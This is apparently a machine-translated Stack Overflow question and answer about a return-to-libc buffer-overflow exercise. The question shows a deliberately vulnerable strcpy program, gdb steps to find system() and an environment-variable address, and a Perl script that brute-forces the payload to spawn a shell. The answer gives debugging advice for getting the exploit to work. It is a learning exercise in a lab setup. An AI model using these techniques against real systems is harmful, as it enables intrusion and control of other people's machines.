F. *_* P. 6 c security exploit buffer-overflow
我正在搞乱缓冲区溢出,特别是返回到libc类.
我有以下易受攻击的代码:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
我用gcc-2.95(no -fstack-protector)用-mpreferred-stack-boundary=2旗子编译它.我跟着回到了"黑客:剥削的艺术"的 libc章节.
首先,我禁用了ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
Run Code Online (Sandbox Code Playgroud)
我发现了以下地址system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
Run Code Online (Sandbox Code Playgroud)
我创建了一个环境变量来包含我想要执行的命令system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
Run Code Online (Sandbox Code Playgroud)
然后我制作了一个perl脚本来自动获取shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Run Code Online (Sandbox Code Playgroud)
我哪里做错了?为什么我得到"非法指令"而不是我的shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Run Code Online (Sandbox Code Playgroud)
改变'A'的数量以测试各种故障.在find python -c "print 'A'*73"(73用于产生上述内容)有助于生成参数.
gdb会告诉你崩溃的确切位置以及崩溃时EIP/RIP的内容.这应该指导您回答问题.
最有可能的是,你没有在堆栈的返回地址中获得一个好的指针,并且执行正在降落到有效指令的内存中.我想你离这儿很近.分段故障更可能是在甚至没有分配的内存区域中执行着陆.
使用(gdb) x/10i $eip识别的指令是什么在EIP当你崩溃.您可以通过更改该命令中的10来改变所示反汇编的长度.
您还需要确定您的系统参数在堆栈上的位置,以便它使其进入调用约定中的适当位置以使系统调用它.gdb也应该能够在这里帮助你(再次,使用x- x/4w也许 - 和i r).
成功利用需要以上两个部分:0xb7eb6680必须在返回地址中,0xbffff96d必须是系统将从其读取第一个参数的任何地方.
另一个有用的技巧:ret在strcpy函数末尾设置断点.这是一个方便的地方,可以检查您的堆栈并注册状态并确定您要执行的操作.这ret是利用发生的地方:你提供的返回地址被读取,处理器开始在该地址执行而你已经关闭,假设你可以通过适当的参数来维持执行你正在调用的任何东西等等.该程序的状态ret是断点或断点,这是最简单的地方,可以看出您的输入有什么问题以及为什么您将成功利用此漏洞.
请原谅我,如果我的gdb语法没有爆炸......它不是我的主要调试器.